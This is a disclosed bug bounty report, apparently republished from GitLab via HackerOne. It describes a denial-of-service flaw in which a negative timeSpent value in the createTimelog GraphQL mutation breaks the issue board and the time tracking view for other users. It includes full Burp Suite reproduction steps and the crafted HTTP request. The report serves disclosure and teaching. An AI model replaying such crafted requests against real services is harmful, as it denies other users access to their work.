Skip to content
DoS Disclosed report Beginner

Unvalidated `timeSpent` value in POST /api/graphql `createTimelog` operation leads to unable to load issues on Issue board

The GraphQL createTimelog mutation accepted a negative timeSpent value, and repeated submissions caused a 500 error that left the issue's time tracking report and board view unloadable for the victim. An attacker could make the victim unable to see the time tracking report and the issue on the board.

GitLab

Originally disclosed on GitLab

  • Fixed in 5 months
  • Disclosed after 5 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2053154 by toukakirishima on 2023-07-06, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

I found a DOS vulnerability when add Time spent on Issue, as an attacker I can make the victim unable to see the Time tracking report and also see the Issue on the Board.

Normally you can see Time tracking report and Issue on Board.

image.png
image.png From the original on GitLab
image.png
image.png

But as an attacker I can make the victim unable to see the Time tracking report and also see the Issue on the Board.

image.png
image.png From the original on GitLab
image.png
image.png

Let's say Touka Attacker is the attacker and Touka Kirishima is the victim.

image.png
image.png From the original on GitLab

And Touka Kirishima (victim) made Issues.

image.png
image.png From the original on GitLab
Steps to reproduce
  1. Go to Issues
image.png
image.png From the original on GitLab
  1. Add Time spent
image.png
image.png From the original on GitLab
  1. Click save and makesure burpsuite is on. You will see request like following, Example :
POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie: x  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: */*  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/toukakirishima/testpoc/-/issues/23  
Content-Type: application/json  
X-Csrf-Token: x  
X-Gitlab-Feature-Category: team_planning  
Content-Length: 1234  
Origin: https://gitlab.com  
Dnt: 1  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

[{"operationName":"createTimelog","variables":{"input":{"timeSpent":"1","spentAt":"2023-07-06T22:32:42+0700","summary":"","issuableId":"gid://gitlab/Issue/130410026"}},"query":"mutation createTimelog($input: TimelogCreateInput!) {\n  timelogCreate(input: $input) {\n    errors\n    timelog {\n      id\n      issue {\n        ...IssueTimeTrackingFragment\n        __typename\n      }\n      mergeRequest {\n        ...MergeRequestTimeTrackingFragment\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment IssueTimeTrackingFragment on Issue {\n  __typename\n  id\n  humanTotalTimeSpent\n  totalTimeSpent\n  timelogs {\n    nodes {\n      ...TimelogFragment\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment TimelogFragment on Timelog {\n  __typename\n  id\n  timeSpent\n  user {\n    id\n    name\n    __typename\n  }\n  spentAt\n  note {\n    id\n    body\n    __typename\n  }\n  summary\n  userPermissions {\n    adminTimelog\n    __typename\n  }\n}\n\nfragment MergeRequestTimeTrackingFragment on MergeRequest {\n  __typename\n  id\n  humanTotalTimeSpent\n  totalTimeSpent\n  timelogs {\n    nodes {\n      ...TimelogFragment\n      __typename\n    }\n    __typename\n  }\n}\n"}]  
  1. Send to Repeater
  2. Change timeSpent. Example :
POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie: x  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: */*  
Accept-Language: id,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/toukakirishima/testpoc/-/issues/23  
Content-Type: application/json  
X-Csrf-Token: x  
X-Gitlab-Feature-Category: team_planning  
Content-Length: 1234  
Origin: https://gitlab.com  
Dnt: 1  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

[{"operationName":"createTimelog","variables":{"input":{"timeSpent":"-99999h","spentAt":"2023-07-06T22:32:42+0700","summary":"","issuableId":"gid://gitlab/Issue/130410026"}},"query":"mutation createTimelog($input: TimelogCreateInput!) {\n  timelogCreate(input: $input) {\n    errors\n    timelog {\n      id\n      issue {\n        ...IssueTimeTrackingFragment\n        __typename\n      }\n      mergeRequest {\n        ...MergeRequestTimeTrackingFragment\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment IssueTimeTrackingFragment on Issue {\n  __typename\n  id\n  humanTotalTimeSpent\n  totalTimeSpent\n  timelogs {\n    nodes {\n      ...TimelogFragment\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment TimelogFragment on Timelog {\n  __typename\n  id\n  timeSpent\n  user {\n    id\n    name\n    __typename\n  }\n  spentAt\n  note {\n    id\n    body\n    __typename\n  }\n  summary\n  userPermissions {\n    adminTimelog\n    __typename\n  }\n}\n\nfragment MergeRequestTimeTrackingFragment on MergeRequest {\n  __typename\n  id\n  humanTotalTimeSpent\n  totalTimeSpent\n  timelogs {\n    nodes {\n      ...TimelogFragment\n      __typename\n    }\n    __typename\n  }\n}\n"}]  
image.png
image.png From the original on GitLab
  1. Click Send until the Response HTTP/2 500 Internal Server Error appears (usually 5 times when you click Send)
image.png
image.png From the original on GitLab
  1. Reload the page and you unable to see the Time tracking report and see Issues on the Board

POV from Attacker

image.png
image.png From the original on GitLab
image.png
image.png

POV from Victim

image.png
image.png From the original on GitLab
image.png
image.png
POC
bandicam_2023-07-06_22-42-12-864.mp4 From the original on GitLab
Output of checks

This bug happens on GitLab.com

Impact

  • Attacker can make victim unable to see the Time tracking report.
  • Attacker can make victim unable to see Issues on the Board.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server did not validate that the timeSpent value was a positive, reasonable duration before storing it, allowing a negative value to corrupt the issue's time tracking data.

Impact

An attacker could make the victim unable to see the time tracking report and the issue on the board.

What the attacker needed

Access to the issue; ability to add time spent; Burp Suite or similar proxy

How it was found

  1. Go to Issues.
  2. Add Time spent.
  3. Click save with Burp Suite running to capture the request.
  4. Send the request to Repeater.
  5. Change the timeSpent value to a negative duration.
  6. Click Send repeatedly until a 500 Internal Server Error appears, then reload the page.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A denial-of-service (DoS) bug means someone can break a feature so others cannot use it. Here, a user could submit a negative time value when logging time on an issue, and after a few tries the issue's time tracking and board view stopped loading for the victim.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.